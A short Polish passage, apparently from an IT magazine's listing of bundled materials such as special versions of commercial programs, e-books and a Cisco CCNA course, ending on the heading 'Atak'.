poruszanych w artykułach;

•   specjalne wersje komercyjnych programów;
•   e-books – książki elektroniczne;
•   kurs na certyfikat Cisco CCNA.

Atak